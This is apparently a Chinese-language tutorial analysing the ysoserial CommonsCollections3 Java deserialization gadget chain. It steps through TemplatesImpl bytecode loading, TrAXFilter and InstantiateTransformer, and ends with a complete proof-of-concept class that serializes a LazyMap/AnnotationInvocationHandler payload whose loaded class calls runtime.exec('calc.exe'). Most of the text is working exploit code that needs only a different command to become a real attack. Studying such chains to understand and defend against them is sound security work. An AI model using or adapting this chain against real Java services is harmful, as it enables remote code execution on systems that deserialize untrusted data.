ysoserial CommonsCollections3 分析
cc3利用链如下：
TrAXFilter(Templates templates)
TemplatesImpl->newTransformer()
TemplatesImpl->getTransletInstance()
_class[_transletIndex].newInstance();
一、为构造的恶意字节码文件找一个newInstance启动入口
在TemplatesImpl类中的getTransletInstance方法，对 _class[_transletIndex]实现了newInstance()。
所以如果构造一个恶意类，然后通过类加载器加载，最终通过TemplatesImpl实现这个类的实例化，将实现这个恶意类的初始化执行。
假设将恶意代码写入这个类的静态代码块中，在这个类被实例化的时候得到执行，以Runtime为例。
构造恶意类：
public class Runtimecalc {
{
Runtime runtime = Runtime.getRuntime();
try {
runtime.exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
又由于TemplatesImpl类中，getTransletInstance方法属于私有方法，所以需要依赖另一个方法。其中该类的newTransformer()调用了getTransletInstance()，该方法public作用域，可以被外部调用执行。
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
通过反射给_class和_transletIndex赋值。但是在赋值之前，我们看到getTransletInstance方法对_name也做了判断if (_name == null) return null;，要求不能为空才可以继续执行后面代码，所以还需要通过反射给_name赋值。
另外需要注意的是由于这里做了一个强转(AbstractTranslet)_class[_transletIndex].newInstance();
加载的字节码类需要继承AbstractTranslet
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
那么假设我们通过反射，直接为_class赋值为一个恶意字节码文件的文件路径。
然后通过调newTransformer方法实现，就能得到字节码文件的初始化执行。
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field aClass = templates_cl.getDeclaredField("_class");
aClass.setAccessible(true);
aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
templates.newTransformer();
二、字节码文件路径是无法在目标机器得到执行的，所以需要找到其他方法将字节码内容直接赋值序列化
Runtimecalc.class作为类文件赋值，是无法实现序列化的时候将文件内容直接传入的，这里赋值的只是文件路径。
所以序列化和反序列化是不成功的。
我们知道ClassLoader在加载的类的时候，最终是通过defineClass加载字节码文件内容。
利用这种方式，直接的赋值传参内容是字节码，就可以达到恶意类加载的序列化和反序列化。
Templateslmpl类中getTransletInstance方法中，在_class[_transletIndex].newInstance()执行前，还有一段如下代码
if (_class == null) defineTransletClasses()
假设我们之前不对_class赋值，查看defineTransletClasses做了什么。
private void defineTransletClasses()
throws TransformerConfigurationException {
//需要给_bytecodes赋值
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
//为_class赋值，长度为_bytecodes的长度
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
//_bytecodes[0]赋值为字节码内容赋值给_class[0]
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
}
}
private byte[][] _bytecodes = null;
_bytecodes是一个byte二维数组，我们将byte[]类型的字节码赋值给_bytecodes[0]
这里就直接赋值字节码内容了
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
这样在defineTransletClasses被调用的时候
执行_class[i] = loader.defineClass(_bytecodes[i]);
_class[0]将会被赋值为loader.defineClass(code)
由于_tfactory需要调用，所以给_tfactory也赋值
最终实现代码如下：
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
//注释不给_class赋值，满足_class == null，defineTransletClasses得到调用
//Field aClass = templates_cl.getDeclaredField("_class");
//aClass.setAccessible(true);
//aClass.set(templates,new Class[]{Runtimecalc.class});
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
//加载字节码
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
templates.newTransformer();
三、让newTransformer得到执行
TrAXFilter类的构造方法会调用newTransformer
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
TrAXFilter trAXFilter = new TrAXFilter(templates);
但是TrAXFilter并不实现Serializable接口，无法序列化，需要通过反射调用
在cc1中反射执行最终是通过InvokerTransformer的transform来实现
这里用了InstantiateTransformer的transform
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
剩下的就和cc1一样了
public class CC3Test3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Field name = templates_cl.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"xxx");
Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
transletIndex.setAccessible(true);
transletIndex.set(templates,0);
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
byte[][] codes = {code};
//给_bytecodes赋值
Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);
//要顺利执行，_tfactory得赋值，因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
//_tfactorys是TransformerFactoryImpl类型的
TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
Field tfactory = templates_cl.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,transformerFactory);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformerslist = {
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer,
};
ChainedTransformer chainedTransformerruntime = new ChainedTransformer(transformerslist);
HashMap hashMap1 = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformerruntime);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler handle = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc3.ser"));
objectOutputStream.writeObject(handle);
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc3.ser"));
objectInputStream.readObject();
}
}
